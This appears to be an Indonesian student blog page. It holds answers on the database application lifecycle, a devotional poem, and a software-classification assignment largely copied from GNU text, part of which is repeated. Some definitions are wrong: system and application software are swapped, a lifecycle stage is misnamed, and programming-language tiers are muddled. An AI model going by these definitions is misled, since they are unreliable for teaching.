9.1 Describe the major components of an information system.
Jawab :
• Database : kumpulan relasi logical dari data/deskripsi data yang dapat digunakan bersama dan dibuat untuk memperoleh informasi yang dibutuhkan oleh perusahaan
• Database Software: software yang digunakan untuk merancang suatu proses database
• Application Software : software yang digunakan sebagai interface user dengan database, memproses data dan informasi.
• Computer Hardware termasuk storage media
• Personal using and developing system
9.2 Discuss the relationship between the information systems lifecycle and the database application lifecycle.
Jawab :
Siklus hidup sistem informasi
Sistem informasi adalah sumber daya yang memungkinkan pengumpulan, manajemen, kontrol dan penyebaran informasi dalam organisasi. Sistem informasi berbasis komputer meliputi: database, software database, software aplikasi, hardware komputer, dan orang-orang yang menggunakan dan mengembangkan sistem. Database adalah komponen yang fundamental bagi sistem informasi, karena itu siklus hidup sistem aplikasi database terhubung secara menurun dengan siklus hidup sistem informasi organisasi.
Umumnya tahapan siklus hidup sistem informasi meliputi:
Planning
pengumpulan dan analisis kebutuhan
desain
prototyping
implementation
testing
conversion
operational maintenance.
Siklus hidup aplikasi database:
• Database planning
• System definition
• Requirements collection and analysis
• Database design
• DBMS selection (optional)
• Application design
• Prototyping (optional)
• Implementation
• Data conversion and loading
• Testing
• Operational maintenance.
9.3 Describe the main purpose(s) and activities associated with each stage of the database application lifestyle.
Jawab :
Tujuan utama database application life cycle adalah mengembangkan komponen mendasar suatu system informasi yang dilihat dari perspektif yang lebih luas berdasarkan kebutuhan organisasi.
1. Perencanaan database (database planning).
Database planning adalah aktivitas management yang memungkinkan tahapan dari database application life cycle direalisasikan seefektif dan seefisien mungkin.
2. Definisi sistem (system definition).
Adalah menjelaskan batasan-batasan dan cakupan dari aplikasi database dan sudut pandang user yang utama.
3. Analisis dan pengumpulan kebutuhan (requirements collection and analysis).
Adalah suatu proses pengumpulan dan analisa informasi mengenai bagian organisasi yang didukung oleh aplikasi database dan menggunakan informasi tersebut untuk identifikasi kebutuhan user akan sistem yang baru.
4. Perancangan database (database design).
Adalah suatu proses pembuatan desain database yang akan mendukung tujuan dan operasi suatu enterprise.
5. Database selection (optional).
Adalah pemilihan DBMS yang tepat untuk mendukung aplikasi database.
6. Desain aplikasi (application design).
Adalah desain user interface dan transaction desain yang menjelaskan program aplikasi yang menggunakan dan memproses database.
7. Prototyping.
Adalah membuat model kerja suatu aplikasi database.
8. Implementasi.
Adalah realisasi fisik dari database dan desain aplikasi.
9. Data conversion dan loading.
Adalah pemindahan data yang ada kedalam database baru dan mengkonversikan aplikasi yang ada agar dapat digunakan pada database yang baru.
10. Testing.
Adalah suatu proses eksekusi program aplikasi dengan tujuan untuk menemukan kesalahan.
11. Optional design
Adalah suatu proses pengawasan dan pemeliharaan sistem setelah instalasi.
9.4 Disscuss what a user view represents in the context of a database application.
Jawab :
User view menjelaskan apa yang diperlukan oleh aplikasi database dari sudut pandang peran pekerjaan tertentu (seperti manajer atau supervisor) atau aplikasi enterprise (seperti marketing, personnel, atau kontrol stok).
9.5 Discuss the main approaches for managing the design of a database application that has multiple user views.
Jawab :
• Pendekatan terpusat ( Centralized approach )
Kebutuhan untuk setiap user view digabungkan menjadi sekumpulan kebutuhan. Sebuah global data model dibuat berdasarkan atas menggabungan kebutuhan (dimana mengepresentasikan seluruh user view )
• Pendekatan Integrasi View ( View Integration Approach )
Kebutuhan untuk setiap user view digunakan untuk membangun model data terpisah untuk mempresentasikan user view tersebut, Hasil dsri model data terisah nantinya digabungkan dalam tahapan desain database.
Model-model yang mempresentasikan user view tunggal disebut local data model dan tersusun atas diagram-diagram dan dokumentasi yang secara formal menggambarkan kebutuhan dari user view khusus terhadap database. Kemudian local data model digabungkan untuk menghasilkan global data model yang mempresentasikan seluruh user view untuk database
• Kombinasi keduanya ( Combination of both Approaches )
9.6 Compare and contrast the three phases of database design.
Jawab :
1. Conceptual database design
adalah suatu proses pembentukan model dari informasi yang digunakan dalam enterprise, independen dari keseluruhan aspek fisik. Model dibangun dengan menggunakan informasi dalam spesifikasi kebutuhan user. Model data konseptual merupakan sumber informasi untuk fase desain logical.
2. Logical database design
adalah suatu proses pembentukan model dari informasi yang digunakan dalam enterprise berdasarkan model data tertentu (misal : relasional) tetapi independen terhadap DBMS tertentu dan aspek fisik lainnya. Model data konseptual yang telah dibuat sebelumnya, diperbaiki dan dipetakan kedalam model data logikal.
3. Physical database design
adalah suatu proses yang menghasilkan deskrispsi implementasi database pada penyimpanan sekunder. Menggambarkan struktur penyimpanan dan metode akses yang digunakan untuk mencapai akses yang efisien terhadap data. Dapat dikatakan juga desain fisikal merupakan cara pembuatan menuju sistem DBMS tertentu.
9.11 Describe the main adventages of using the prototyping approach when building a database application.
Jawab :
1. dapat mengidentifikasi fitur dari sistem yang berjalan dengan baik atau tidak.
2. memberikan perbaikan-perbaikan atau penambahan fitur baru.
3. dapat mengklarifikasi kebutuhan user.
4. mengevaluasi kemungkinan yang akan terjadi dari desain sistem khusus.
Jika kita menggunakan strategi requirements prototyping maka kita dapat menentukan kebutuhan dari aplikasi database yang diinginkan dan ketika kebutuhan itu terpenuhi maka prototyping akan dibuang. Jika kita menggunakan evolutionary prototyping maka kita dapat menentukan kebutuhan dari aplikasi database yang diinginkan, prototype tidak dibuang tetapi dengan pengembangan lanjutan menjadi aplikasi database yang digunakan.
9.12 Define the purpose and tasks associated with data administration and database administration.
Jawab :
Data administrator (DA) dan database administrator (DBA) bertanggungjawab untuk mengatur dan mengawasi aktivitas yang berhubungan dengan corporate data dan corporate database. DA lebih memperhatikan tahapan awal dari lifecycle dan DBA memperhatikan tahapan selanjutnya.
Data administrator bertugas mengatur sumberdaya data, meliputi : perencanaan database, pengembangan dan pemeliharaan standar, kebijakan, dan prosedur, dan desain database logikal dan konseptual.
Database administrator bertugas mengatur realisasi fisik dari aplikasi database, meliputi : desain fisik database dan implementasi, pengaturan keamanan dan kontrol integritas, pengawasan performa sistem dan pengaturan ulang database.
My NaMe
Mengenai Saya
-002.jpg)
- YeNz BlOg =)
- Ett Ef Ez Gw dI mymemorial@yahoo.co.id DuNt 4gEt YoAA,, oiA. . . bUaT YaNG fAnS j-Rocks MaRi BeRkAwaNdH, hEhE...
Anda adalah Anda karena suatu alasan
Anda adalah bagian dari suatu rencana yang Kompleks
Anda adalah suatu rancangan unik yang berharga dan sempurna, disebut lelaki dan perempuan khusus milik Allah.
Anda berwajah seperti anda karena suatu alasan
Allah tidak membuat kesalahan
Dia merajut Anda menjadi satu di dalam kandungan
Anda benar-benar apa yang ingin Dia ciptakan.
Orangtua yang Anda miliki adalah orangtua yang Dia pilih.
dan tidak peduli bagaimana perasaan Anda,
mereka dirancang dengan pertimbangan rencana Allah,
dan, mereka memikul materai Tuhan,
tidak, trauma yang Anda hadapi tidaklah mudah,
dan, Allah menangis karena trauma itu begitu menyakiti Anda,
tetapi itu diizinkan untuk membentuk hati Anda,
Supaya Anda bertumbuh menjadi serupa denganNya.
Anda adalah Anda karena suatu alasan,
Anda telah dibentuk dengan Tongkat Tuhan,
Anda adalah Anda, Kekasih.
Karena ada Allah
Minggu, 02 Agustus 2009
Selasa, 30 Juni 2009
P.I.K
Tugas Instalasi Komputer
(Klasifikasi Software)
Nama : Yennita Hizkiara
Npm : 43E57006085075
T.I/Pagi
Klasifikasi Perangkat Lunak (Software)
Klasifikasi Software
category software
Diagram buatan Chao-Kuei ini menerangkan berbagai perbedaan kategori perangkat lunak. Tersedia sebagai berkas XFig, sebagai gambar JPEG (23k), dan sebagai gambar PNG (7k) dengan pembesaran 1,5 kali.
Perangkat Lunak Bebas
Perangkat lunak bebas ialah perangkat lunak yang mengizinkan siapa pun untuk menggunakan, menyalin, dan mendistribusikan, baik dimodifikasi atau pun tidak, secara gratis atau pun dengan biaya. Perlu ditekankan, bahwa source code dari program harus tersedia. “Jika tidak ada kode program, berarti bukan perangkat lunak.” Yang tersebut di atas merupakan definisi sederhananya; lihat juga definisi lengkapnya.Kami juga memiliki daftar terjemahan istilah “perangkat lunak bebas” dalam berbagai bahasa lain.
Jika suatu program bebas, maka dapat disertakan pada sebuah sistem operasi bebas seperti GNU, atau versi bebas dari sistem GNU/Linux.
Terdapat berbagai cara untuk membuat suatu program bebas—banyak pertanyaan rinci, yang dapat ditentukan dalam banyak cara dan masih menjadikan program tersebut bebas. Beberapa kemungkinan variasi akan dijelaskan di bawah ini.
Perangkat lunak bebas menyangkut masalah kebebasan, bukan harga. Tapi beberapa perusahaan perangkat lunak berpemilik terkadang menggunakan istilah perangkat lunak bebas untuk menunjukkan harga. Terkadang maksud mereka ialah anda dapat memperoleh salinan biner tanpa biaya; terkadang maksud mereka ialah suatu salinan disertakan dalam komputer yang anda beli. Ini tidak ada hubungannya sama sekali dengan apa yang kami maksud dengan perangkat lunak bebas pada proyek GNU.
Karena hal ini dapat membingungkan, ketika sebuah perusahaan perangkat lunak menyatakan bahwa produknya adalah perangkat lunak bebas, selalu periksa ketentuan distribusinya untuk melihat apakah pengguna memiliki kebebasan yang dimaksudkan oleh istilah perangkat lunak bebas. Terkadang memang benar-benar perangkat lunak bebas; namun terkadang tidak.
Banyak bahasa memiliki dua kata yang berbeda untuk menyatakan “bebas” sebagai kebebasan dan “bebas” sebagai tanpa biaya. Sebagai contoh, bahasa Perancis memiliki kata “libre” dan “gratuit”. Dalam bahasa Inggris terdapat kata “gratis” yang menyatakan tentang harga tanpa membingungkan. Tapi tidak ada kata sifat yang menyatakan kebebasan tanpa membingungkan. Hal ini sangat disayangkan, karena kata semacam itu akan sangat berguna disini.
Perangkat lunak bebas seringkali lebih handal daripada perangkat lunak tidak bebas.
Perangkat Lunak Open Source
Istilah perangkat lunak “open source” digunakan oleh beberapa pihak yang artinya kurang lebih sama dengan perangkat lunak bebas. Kami memilih untuk menggunakan istilah “perangkat lunak bebas”; ikuti link untuk melihat alasannya.
Perangkat Lunak Public domain
Perangkat lunak public domain ialah perangkat lunak yang tanpa hak cipta. Ini merupakan kasus khusus dari perangkat lunak bebas non-copylefted, yang berarti bahwa beberapa salinan atau versi yang telah dimodifikasi bisa jadi tidak bebas sama sekali.Terkadang ada yang menggunakan istilah “public domain” secara bebas yang berarti “cuma-cuma” atau “tersedia gratis”. Namun “public domain” merupakan istilah hukum yang artinya “tidak memiliki hak cipta”. Untuk jelasnya, kami menganjurkan untuk menggunakan istilah “public domain” dalam arti tersebut, serta menggunakan istilah lain untuk mengartikan pengertian yang lain.
Perangkat Lunak Copylefted
Perangkat lunak copylefted merupakan perangkat lunak bebas yang ketentuan pendistribusinya tidak memperbolehkan untuk menambah batasan-batasan tambahan–jika mendistribusikan atau memodifikasi perangkat lunak tersebut. Artinya, setiap salinan dari perangkat lunak, walaupun telah dimodifikasi, haruslah merupakan perangkat lunak bebas.Dalam proyek GNU, kami meng-copyleft-kan hampir semua perangkat lunak yang kami buat, karena tujuan kami adalah untuk memberikan kebebasan kepada semua pengguna seperti yang tersirat dalam istilah “perangkat lunak bebas”. Lihat Copylefted untuk penjelasan lebih jauh mengenai bagaimana cara kerjanya copyleft dan bagaimana kita menggunakannya.
Copyleft merupakan konsep yang umum. Jadi, untuk meng-copyleft-kan sebuah program, anda harus menggunakan ketentuan distribusi tertentu. Terdapat berbagai cara untuk menulis perjanjian distribusi program copyleft.
Perangkat Lunak Bebas Non-copylefted
Perangkat lunak bebas non-copylefted dibuat oleh pembuatnya yang mengizinkan kita untuk mendistribusikan dan memodifikasi, dan untuk menambahkan batasan-batasan tambahan dalamnya.Jika suatu program bebas tapi tidak copylefted, maka beberapa salinan atau versi yang dimodifikasi bisa jadi tidak bebas sama sekali. Perusahaan perangkat lunak dapat mengkompilasi programnya, dengan atau tanpa modifikasi, dan mendistribusikan file tereksekusi sebagai produk perangkat lunak yang berpemilik.
Sistem X Window menggambarkan hal ini. Konsorsium X mengeluarkan X11 dengan ketentuan distribusi yang menetapkannya sebagai perangkat lunak bebas non-copylefted. Jika anda menginginkannya, anda dapat memperoleh salinan yang memiliki perjanjian distribusi dan juga bebas. Namun ada juga versi tidak bebasnya, dan ada workstation terkemuka serta perangkat grafik PC, dimana versi yang tidak bebas merupakan satu-satunya yang dapat bekerja disini. Jika anda menggunakan perangkat keras tersebut, X11 bukanlah perangkat lunak bebas bagi anda.
Perangkat Lunak GPL-covered
GNU GPL (General Public License) (20k huruf) merupakan sebuah kumpulan ketentuan pendistribusian tertentu untuk meng-copyleft-kan sebuah program. Proyek GNU menggunakannya sebagai perjanjian distribusi untuk sebagian besar perangkat lunak GNU.
Sistem GNU
Sistem GNU merupakan sistem serupa Unix yang seutuhnya bebas.Sistem operasi serupa Unix terdiri dari berbagai program. Sistem GNU mencakup seluruh perangkat lunak GNU, dan juga paket program lain, seperti sistem X Windows dam TeX yang bukan perangkat lunak GNU.
Kami telah mengembangkan dan mengumpulkan komponen untuk sistem GNU ini sejak tahun 1984. Pengedaran awal (percobaan) dari “sistem GNU lengkap” dilakukan tahun 1996. Sekarang (2001), sistem GNU ini bekerja secara handal, serta orang-orang bekerja dan mengembangkan GNOME, dan PPP dalam sistem GNU. Pada saat bersamaan sistem GNU/Linux, merupakan sebuah terobosan dari sistem GNU yang menggunakan Linux sebagai kernel dan mengalami sukses luar biasa.
Berhubung tujuan dari GNU ialah untuk kebebasan, maka setiap komponen dalam sistem GNU harus merupakan perangkat lunak bebas. Namun tidak berarti semuanya harus copylefted; setiap jenis perangkat lunak bebas dapat sah-sah saja jika menolong memenuhi tujuan teknis. Kita dapat menggunakan perangkat lunak non-copylefted seperti sistem X Window.
Program GNU
“Program GNU” setara dengan perangkat lunak GNU. Program Anu adalah program GNU jika ia merupakan perangkat lunak GNU.
Perangkat Lunak GNU
Perangkat lunak GNU merupakan perangkat lunak yang dikeluarkan oleh proyek GNU. Sebagian besar perangkat lunak GNU merupakan copylefted, tapi tidak semuanya; namun, semua perangkat lunak GNU harus merupakan perangkat lunak bebas.Jika suatu program adalah perangkat lunak GNU, kita juga menyebutnya sebagai program GNU.
Beberapa perangkat lunak GNU ditulis oleh staf dari Free Software Foundation (FSF, Yayasan Perangkat Lunak Bebas), namun sebagian besar perangkat lunak GNU merupakan kontribusi dari para sukarelawan. Beberapa perangkat lunak yang dikontribusikan merupakan hak cipta dari Free Software Foundation; beberapa merupakan hak cipta dari kontributor yang menulisnya.
Perangkat Lunak Semi-Bebas
Perangkat lunak semi-bebas adalah perangkat lunak yang tidak bebas, tapi mengizinkan setiap orang untuk menggunakan, menyalin, mendistribusikan, dan memodifikasinya (termasuk distribusi dari versi yang telah dimodifikasi) untuk tujuan non-laba. PGP adalah salah satu contoh dari program semi-bebas.Perangkat lunak semi-bebas jauh lebih baik dari perangkat lunak berpemilik, namun masih ada masalah, dan kita tidak dapat menggunakannya pada sistem operasi yang bebas.
Pembatasan dari copyleft dirancang untuk melindungi kebebasan bagi semua pengguna. Bagi kami, satu-satunya alasan untuk membatasi substantif dalam menggunakan program–ialah melarang orang lain untuk menambahkan batasan lain. Program semi-bebas memiliki batasan-batasan tambahan, yang dimotivasi oleh tujuan pribadi semata.
Sangat mustahil untuk menyertakan perangkat lunak semi-bebas pada sistem operasi bebas. Hal ini karena perjanjian distribusi untuk sistem operasi keseluruhan adalah gabungan dari perjanjian distribusi untuk semua program di dalamnya. Menambahkan satu program semi-bebas pada sistem akan membuat keseluruhan sistem menjadi semi-bebas. Terdapat dua alasan mengapa kami tidak menginginkan hal ini:
* Kami percaya bahwa perangkat lunak bebas seharusnya ditujukan bagi semuanya–termasuk pelaku bisnis, dan bukan hanya untuk sekolah dan sekedar hobi saja. Kami ingin mengundang kalangan bisnis untuk menggunakan keseluruhan sistem GNU, dan untuk itu kami tidak dapat menyertakan program semi-bebas di dalamnya.
* Distribusi komersial dari sistem operasi bebas, termasuk Sistem GNU/Linux sangat penting, dan para pengguna menghargai kemampuan untuk dapat membeli distribusi CD-ROM komersial. Menyertakan satu program semi-bebas dalam sistem operasi dapat memotong distribusi CD-ROM komersial untuknya.
Free Software Foundation sendiri adalah organisasi nirlaba, dan karena itu, kami diizinkan secara hukum untuk menggunakan program semi-bebas secara “internal”. Tapi kami tidak melakukannya, karena hal itu akan melemahkan upaya kami untuk memperoleh program yang dapat disertakan ke dalam GNU.
Jika ada pekerjaan yang berhubungan dengan perangkat lunak, maka sebelum kami memiliki program bebas untuk melakukan pekerjaan itu, sistem GNU memiliki kesenjangan. Kami harus memberitahukan kepada para sukarelawan, “Kami belum memiliki program untuk melakukan pekerjaan ini di GNU, jadi kami berharap Anda menulisnya sendiri.” Jika kami menggunakan program semi-bebas untuk untuk melakukan pekerjaan itu, hal itu akan melemahkan apa yang telah kami katakan; hal itu akan menghancurkan motivasi (bagi kami, dan orang lain yang memiliki pandangan yang sama) untuk menulis substitusi yang bebas. Jadi kami tidak melakukannya.
Perangkat Lunak Berpemilik
Perangkat lunak berpemilik ialah perangkat lunak yang tidak bebas ataupun semi-bebas. Kita dapat dilarang, atau harus meminta izin, atau akan dikenakan pembatasan lainnya sehingga menyulitkan–jika menggunakan, mengedarkan, atau memodifikasinya.Free Software Foundation mengikuti aturan bahwa kita tidak dapat memasang program-program berpemilik di komputer kita kecuali untuk sementara waktu dengan maksud menulis pengganti bebas untuk program tersebut. Disamping itu, kami merasa tidak; ada alasan untuk memasang sebuah program berpemilik.
Sebagai contoh, kami merasa sah dalam memasang Unix di komputer kami pada tahun 1980-an, sebab kami menggunakannya untuk menulis pengganti bebas untuk Unix. Sekarang, karena sistem operasi bebas telah tersedia, alasan ini tidak lagi dapat diterima; kami harus menghapus semua sistem operasi tidak bebas kami, dan setiap komputer yang kami pasang harus berjalan pada sistem operasi yang benar-benar bebas.
Kami tidak memaksa para pengguna GNU atau para kontributor GNU untuk mengikuti aturan ini. Ini adalah aturan yang kami buat untuk diri kami sendiri. Tapi kami berharap agar anda memutuskan untuk mengikutinya juga.
Freeware
Istilah “freeware” tidak terdefinisi dengan jelas, tapi biasanya digunakan untuk paket-paket yang mengizinkan redistribusi tetapi bukan pemodifikasian (dan kode programnya tidak tersedia). Paket-paket ini bukan perangkat lunak bebas, jadi jangan menggunakan istilah “freeware” untuk merujuk ke perangkat lunak bebas.
Shareware
Shareware ialah perangkat lunak yang mengijinkan orang-orang untuk meredistribusikan salinannya, tetapi mereka yang terus menggunakannya diminta untuk membayar biaya lisensi.Shareware bukan perangkat lunak bebas ataupun semi-bebas. Ada dua alasan untuk hal ini, yakni:
* Sebagian besar shareware, kode programnya tidak tersedia; jadi anda tidak dapat memodifikasi program tersebut sama sekali.
* Shareware tidak mengizinkan kita untuk membuat salinan dan memasangnya tanpa membayar biaya lisensi, tidak juga untuk orang-orang yang terlibat dalam kegiatan nirlaba (Dalam prakteknya, orang-orang sering tidak mempedulikan perjanjian distribusi dan tetap melakukan hal tersebut, tapi sebenarnya perjanjian tidak mengizinkannya).
Perangkat Lunak Komersial
Perangkat lunak komersial adalah perangkat lunak yang dikembangkan oleh kalangan bisnis untuk memperoleh keuntungan dari penggunaannya. “Komersial” dan “kepemilikan” adalah dua hal yang berbeda! Kebanyakan perangkat lunak komersial adalah berpemilik, tapi ada perangkat lunak bebas komersial, dan ada perangkat lunak tidak bebas dan tidak komersial.Sebagai contoh, GNU Ada selalu didistribusikan di bawah perjanjian GNU GPL, dan setiap salinannya adalah perangkat lunak bebas; tapi para pengembangnya menjual kontrak penunjang. Ketika penjualnya bicara kepada calon pembeli, terkadang pembeli tersebut mengatakan, “Kami merasa lebih aman dengan kompilator komersial.” Si penjual menjawab, “GNU Ada ialah kompilator komersial; hanya saja ia merupakan perangkat lunak bebas.”
Bagi proyek GNU, penekanannya ada pada hal yang sebaliknya: hal terpenting ialah GNU Ada merupakan perangkat lunak bebas; terlepas komersial atau bukan, itu bukan hal yang penting. Namun perkembangan tambahan GNU Ada yang dihasilkan dari komersialismenya adalah menguntungkan.
Harap sebarkan ke khalayak, perangkat lunak bebas komersial merupakan sesuatu yang mungkin. Sebaiknya, anda jangan mengatakan “komersial” ketika maksud anda ialah “berpemilik”.
Software merupakan produk dari perusahaan pembuat software yang banyak bermunculan sehubungan dengan kebutuhan berbagai masalah pekerjaan yang membutuhkan waktu singkat oleh pemakai komputer saat ini.
Software secara umum dapat dibagi menjadi 2 yaitu:
• Software Sistem
Suatu program yang digunakan untuk melakukan tugas-tugas yang spesifik.
• Software Aplikasi
Suatu program yang digunakan untuk mengontrol sumber daya komputer seperti CPU, piranti input dan output. Kedudukan program ini adalah sebagai perantara antara program aplikasi dan hardware.
Ada 4 kelompok besar software system:
• Operating System (Sistem Operasi)
Operating system merupakan program yang berfungsi untuk mengatur sistem kerja seluruh komputer seperti layaknya penerjemah antara hardware dan software yang akan dilakukannya.
Contoh :
- PC-DOS atau MS-DOS untuk Personal Computer (PC)
- Novell Netware dan UNIX untuk jaringan komputer
- Windows dan berbagai variannya untuk PC atau jaringan
- Linux dengan berbagai distronya untuk PC atau jaringan
• Tiga Fungsi Utama system operasi :
– Manajemen Proses
Mencakup persiapan, penjadwalan & pemantauan proses pada komputer.
– Manajemen Sumber Daya
Berkaitan dengan pengendalian thd pemakaian sumber daya dalam sistem komputer yang dilakukan oleh software sistem ataupun software aplikasi yang sedang dijalankan
– Manajemen Data
Berupa pengendalian thd data Input /Output termasuk dalam hal peng-alokasian piranti penyimpanan sekunder maupun memori utama.
Selain itu, Sistem Operasi mempunyai
sarana untuk mengelola keamanan
dengan mengharuskan user memasukkan
nama pemakai dan password sebelum
dapat menggunakan komputer
• Utility Software (Program Bantu)
Software ini merupakan software jadi yang digunakan untuk membantu mempermudah dalam menangani pekerjaan awal dalam pengoperasian komputer beserta perangkatnya. Misalnya untuk
- memeriksa (scanning),
- menganalisa (analyzing),
- memperbaiki (repairing),
- mencari (searching),
- menggandakan (copying) file
- dan sebagainya.
Contoh :
- Norton Utility (NU)
- PC Tools
- Xtree
- QuickDos
• Package Software (Program Paket)
a. Word Processing (Pengolah Kata)
Pengolah kata biasanya dipakai untuk pembuatan naskah.
Contoh :
- Word Star
- Word Perfect
- Microsoft Word
- Chi Writer
- PFS Write
b. Spread Sheet (Pengolah Angka)
Software ini dipakai lebih banyak untuk pembuatan tabel-tabel dan angka.
Contoh :
- Lotus 123
- Super Calc
- Symphony
- Quattro
- Microsoft Excel
c. Database (Pengolah Data Awal)
Software ini pada dasarnya digunakan untuk mengatur informasi-informasi sehingga dapat memudahkan pencarian atau penyimpanan.
Contoh :
- dBase III
- dBXL
- Foxbase
- Paradox
- RBase
d. Publisher (Pengolah Tata Letak)
Software ini banyak dipakai oleh perusahaan cetak mencetak, surat kabar atau penerbitan yang banyak memerlukan pengaturan bentuk, jenis dan tata letak karakter tertentu.
Contoh :
- Ventura Desktop Publishing
- Microsoft Publisher
- PageMaker
- Flash
- Corel
e. Aided Design (Pengolah Rancang Bangun)
Software ini pada dasarnya dipakai untuk pembuatan rancang bangun (design) sebuah benda, ruangan, bangunan gedung, peta kota dan sebagainya.
Contoh :
- AutoCAD
- ProDesign
- DR Hallo
f. Statistic (Pengolah Statistik)
Software ini dipakai untuk memecahkan permasalahan statistik baik di bidang ekonomi, teknik, kesehatan, sosial dan budaya.
Contoh :
- SPSS
- MicroStat
- MiniTab
g. Language Program (Bahasa Pemrograman)
Software ini banyak dipakai oleh seorang programmer, program ini berfungsi untuk menciptakan software-software baru yang digunakan untuk membantu/mempermudah kerja seorang operator komputer.
Contoh :
- Turbo Assembler (bahasa pemrograman tingkat rendah)
- Basic, Pascal, Fortran, Cobol, Visual Basic (bahasa pemrograman tingkat menengah)
- Clipper, FoxPro, Delphi, C+ (bahasa pemrograman tingkat tinggi)
Pada perkembangan selanjutnya software ini juga dipakai untuk merusak data, informasi atau software-software (bahkan juga hardware) yang lain. Hasil dari pembuatan program yang berfungsi untuk merusak ini dikenal dengan Virus. Kata “virus” sebenarnya adalah kata yang sengaja diambil dari dunia kedokteran untuk dipakai di dunia komputer, karena mempunyai sifat yang sama yaitu “merusak” (membuat penyakit).
Virus komputer sebenarnya adalah program juga, ia sengaja dibuat oleh seseorang (programmer) yang tidak senang dengan kesempurnaan, dia lebih senang membuat kerusakan. Oleh karena itu tindakan membuat virus komputer bisa dikatakan “sebuah kejahatan“.
h. Anti Virus
Software ini khusus untuk mengantisipasi (membunuh) virus yang mungkin bisa masuk ke dalam komputer, baik itu komputer yang sendirian (stand alone) atau komputer dalam jaringan (network).
Contoh :
- Dr. Solomon Anti Virus
- Norton Anti Virus
- McAfee Virus Scan
- PC-Cillin
• Applicated (Program Aplikasi)
Program ini merupakan program siap pakai, banyak dibuat untuk aplikasi-palikasi kerja tertentu seperti akuntansi, berbagai macam format, kartu-kartu, sampul buku, editing foto dan sebagainya.
Contoh :
- PrinShop
- PhotoShop
- DAC Easy
- Form Tools
- Free Hand
- Easy Flow
• Pendidikan
– Kamus, Ensiklopedia, Simulasi, dll
• Entertainment/Hiburan
– Game, Winamp, dll
• Bisnis
– Inventory, Pembukuan,Registrasi, dll
• Produktivitas Kerja
– Ms. Office, Manajemen Data, dll
• Software Khusus
– Software yang dibuat sesuai dengan keinginan user.
Jenis – jenis software yang lain antara lain:
• Software Komersial
– Bertujuan untuk dijual. Ada hak cipta
• Software Domain-Public
– Sifatnya gratis dan berupa source code
• Shareware
– Digunakan untuk evaluasi, tanpa source code
– Ada hak cipta dan ada yang Tidak ada.
• Rentalware
– Disewakan, ada hak cipta.
• Free Software
– Dilengkapi dengan source code
– Bersifat gratis/membayar dgn sangat murah
• Freeware
– Bersifat gratis, tanpa source code
– Menarik peminat untuk membeli versi lanjutannya
• Open Source
– Hampir sama dengan free software, hanya beda dalam hal filosofi.
– Terdapat hak-hak untuk pemakai.
• Hak untuk membuat salinan program dan men-distribusikan salinan tersebut.
• Hak untuk mengakses source code sebagai syarat untuk dapat melakukan pemodifikasian
• Hak untuk melakukan pengembangan thd program
(Klasifikasi Software)
Nama : Yennita Hizkiara
Npm : 43E57006085075
T.I/Pagi
Klasifikasi Perangkat Lunak (Software)
Klasifikasi Software
category software
Diagram buatan Chao-Kuei ini menerangkan berbagai perbedaan kategori perangkat lunak. Tersedia sebagai berkas XFig, sebagai gambar JPEG (23k), dan sebagai gambar PNG (7k) dengan pembesaran 1,5 kali.
Perangkat Lunak Bebas
Perangkat lunak bebas ialah perangkat lunak yang mengizinkan siapa pun untuk menggunakan, menyalin, dan mendistribusikan, baik dimodifikasi atau pun tidak, secara gratis atau pun dengan biaya. Perlu ditekankan, bahwa source code dari program harus tersedia. “Jika tidak ada kode program, berarti bukan perangkat lunak.” Yang tersebut di atas merupakan definisi sederhananya; lihat juga definisi lengkapnya.Kami juga memiliki daftar terjemahan istilah “perangkat lunak bebas” dalam berbagai bahasa lain.
Jika suatu program bebas, maka dapat disertakan pada sebuah sistem operasi bebas seperti GNU, atau versi bebas dari sistem GNU/Linux.
Terdapat berbagai cara untuk membuat suatu program bebas—banyak pertanyaan rinci, yang dapat ditentukan dalam banyak cara dan masih menjadikan program tersebut bebas. Beberapa kemungkinan variasi akan dijelaskan di bawah ini.
Perangkat lunak bebas menyangkut masalah kebebasan, bukan harga. Tapi beberapa perusahaan perangkat lunak berpemilik terkadang menggunakan istilah perangkat lunak bebas untuk menunjukkan harga. Terkadang maksud mereka ialah anda dapat memperoleh salinan biner tanpa biaya; terkadang maksud mereka ialah suatu salinan disertakan dalam komputer yang anda beli. Ini tidak ada hubungannya sama sekali dengan apa yang kami maksud dengan perangkat lunak bebas pada proyek GNU.
Karena hal ini dapat membingungkan, ketika sebuah perusahaan perangkat lunak menyatakan bahwa produknya adalah perangkat lunak bebas, selalu periksa ketentuan distribusinya untuk melihat apakah pengguna memiliki kebebasan yang dimaksudkan oleh istilah perangkat lunak bebas. Terkadang memang benar-benar perangkat lunak bebas; namun terkadang tidak.
Banyak bahasa memiliki dua kata yang berbeda untuk menyatakan “bebas” sebagai kebebasan dan “bebas” sebagai tanpa biaya. Sebagai contoh, bahasa Perancis memiliki kata “libre” dan “gratuit”. Dalam bahasa Inggris terdapat kata “gratis” yang menyatakan tentang harga tanpa membingungkan. Tapi tidak ada kata sifat yang menyatakan kebebasan tanpa membingungkan. Hal ini sangat disayangkan, karena kata semacam itu akan sangat berguna disini.
Perangkat lunak bebas seringkali lebih handal daripada perangkat lunak tidak bebas.
Perangkat Lunak Open Source
Istilah perangkat lunak “open source” digunakan oleh beberapa pihak yang artinya kurang lebih sama dengan perangkat lunak bebas. Kami memilih untuk menggunakan istilah “perangkat lunak bebas”; ikuti link untuk melihat alasannya.
Perangkat Lunak Public domain
Perangkat lunak public domain ialah perangkat lunak yang tanpa hak cipta. Ini merupakan kasus khusus dari perangkat lunak bebas non-copylefted, yang berarti bahwa beberapa salinan atau versi yang telah dimodifikasi bisa jadi tidak bebas sama sekali.Terkadang ada yang menggunakan istilah “public domain” secara bebas yang berarti “cuma-cuma” atau “tersedia gratis”. Namun “public domain” merupakan istilah hukum yang artinya “tidak memiliki hak cipta”. Untuk jelasnya, kami menganjurkan untuk menggunakan istilah “public domain” dalam arti tersebut, serta menggunakan istilah lain untuk mengartikan pengertian yang lain.
Perangkat Lunak Copylefted
Perangkat lunak copylefted merupakan perangkat lunak bebas yang ketentuan pendistribusinya tidak memperbolehkan untuk menambah batasan-batasan tambahan–jika mendistribusikan atau memodifikasi perangkat lunak tersebut. Artinya, setiap salinan dari perangkat lunak, walaupun telah dimodifikasi, haruslah merupakan perangkat lunak bebas.Dalam proyek GNU, kami meng-copyleft-kan hampir semua perangkat lunak yang kami buat, karena tujuan kami adalah untuk memberikan kebebasan kepada semua pengguna seperti yang tersirat dalam istilah “perangkat lunak bebas”. Lihat Copylefted untuk penjelasan lebih jauh mengenai bagaimana cara kerjanya copyleft dan bagaimana kita menggunakannya.
